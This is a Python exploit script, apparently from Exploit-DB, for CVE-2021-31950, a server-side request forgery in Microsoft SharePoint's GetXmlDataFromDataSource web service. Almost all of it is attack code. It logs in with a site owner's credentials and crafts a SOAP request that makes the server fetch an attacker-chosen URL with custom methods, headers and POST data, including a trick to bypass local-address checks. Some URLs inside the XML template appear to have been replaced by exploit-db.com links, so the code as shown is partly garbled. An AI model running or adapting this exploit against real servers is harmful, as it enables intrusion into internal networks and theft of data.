1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 |
# Exploit Title: Microsoft SharePoint Server 16.0.10372.20060 - 'GetXmlDataFromDataSource' Server-Side Request Forgery (SSRF) # Date: 09 Jun 2021 # Exploit Author: Alex Birnberg # Software Link: https://www.microsoft.com/en-us/download/details.aspx?id=57462 # Version: 16.0.10372.20060 # Tested on: Windows Server 2019 # CVE : CVE-2021-31950 #!/usr/bin/env python3 import html import random import string import xml.sax.saxutils import textwrap import requests import argparse import xml.etree.ElementTree as ET from requests_ntlm2 import HttpNtlmAuth from urllib.parse import urlencode, urlparse class Exploit: def __init__(self, args): o = urlparse(args.url) self.url = args.url self.service = o.path self.username = args.username self.password = args.password self.target = args.target self.headers = args.header self.method = args.request self.data = args.data self.content_type = args.content_type self.s = requests.Session() self.s.auth = HttpNtlmAuth(self.username, self.password) self.s.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36' } self.s.proxies = { 'http': 'http://127.0.0.1:8080' } def trigger(self): headers = '' if self.headers: for header in self.headers: header = list(map(lambda x: x.strip(), header.split(':'))) if len(header) != 2: continue headers += '<dataurl:Header name="{}">{}</dataurl:Header>'.format(header[0], header[1]) method = '' bypass_local = '' if self.method and self.method.upper() == 'POST': method = 'HTTP Post' else: method = 'HTTP Get' bypass_local = '<dataurl:Arguments><dataurl:Argument Name="{0}">{0}</dataurl:Argument></dataurl:Arguments>'.format(''.join(random.choice(string.ascii_letters) for i in range(16))) content_type = '' if self.content_type and len(self.content_type): content_type = '<dataurl:ContentType>{}</dataurl:ContentType>'.format(self.content_type) data = '' if self.data and len(self.data): data = '<dataurl:PostData Encoding="Decode">{}</dataurl:PostData>'.format(html.escape(self.data).encode('ascii', 'xmlcharrefreplace').decode('utf-8')) query_xml = textwrap.dedent('''\ <udc:DataSource xmlns:udc="http://schemas.microsoft.com/data/udc" xmlns:udcs="http://schemas.microsoft.com/data/udc/soap" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dsp="http://schemas.microsoft.com/sharepoint/dsp" xmlns:dataurl="http://schemas.microsoft.com/sharepoint/dsp/xmlurl"> <udc:ConnectionInfo> <udcs:Location href="https://www.exploit-db.com/exploits/49982/">XMLURLDataAdapter</udcs:Location> <soap:Header> <dsp:versions> </dsp:versions> <dsp:request method="query" /> </soap:Header> <soap:Body> <dsp:queryRequest> <dsp:ptQuery> <dataurl:Headers> <dataurl:Url href="https://www.exploit-db.com/exploits/49982/{}" Method="{}"/> {} {} {} {} </dataurl:Headers> </dsp:ptQuery> </dsp:queryRequest> </soap:Body> </udc:ConnectionInfo> </udc:DataSource>'''.format(self.target, method, bypass_local, headers, data, content_type)) query_xml = xml.sax.saxutils.escape(query_xml.replace('\r', '').replace('\n', '')) data = textwrap.dedent('''\ <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetXmlDataFromDataSource xmlns="http://microsoft.com/sharepoint/webpartpages"> <queryXml>{}</queryXml> </GetXmlDataFromDataSource> </soap:Body> </soap:Envelope>'''.format(query_xml)) r = self.soap('webpartpages', 'http://microsoft.com/sharepoint/webpartpages/GetXmlDataFromDataSource', data) root = ET.fromstring(r.content) try: namespaces = { 'soap': 'http://schemas.xmlsoap.org/soap/envelope/' } value = list(root.find('soap:Body', namespaces).iter())[2] if value.tag == 'faultcode': print('Error:', list(root.find('soap:Body', namespaces).iter())[3].text) else: print(value.text) except: print(r.content) pass def soap(self, service, action, data): headers = { 'SOAPAction': '"{}"'.format(action), 'Host': 'localhost', 'Content-Type': 'text/xml; charset=utf-8', } return self.s.post('{}/_vti_bin/{}.asmx'.format(self.url, service), headers=headers, data=data) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--url', help='Base URL', required=True, metavar='<url>') parser.add_argument('--username', help='Username of team site owner', required=True, metavar='<username>') parser.add_argument('--password', help='Password of team site owner', required=True, metavar='<password>') parser.add_argument('--target', help='Target URL to work with', required=True, metavar='<target>') parser.add_argument('-H', '--header', help='Pass custom header(s) to server', action='append', metavar='<header>') parser.add_argument('-X', '--request', help='Specify request command to use', metavar='<command>') parser.add_argument('-d', '--data', help='HTTP POST data', metavar='<data>') parser.add_argument('-c', '--content-type', help='Value for the "Content-Type" header', metavar='<type>') exploit = Exploit(parser.parse_args()) exploit.trigger() |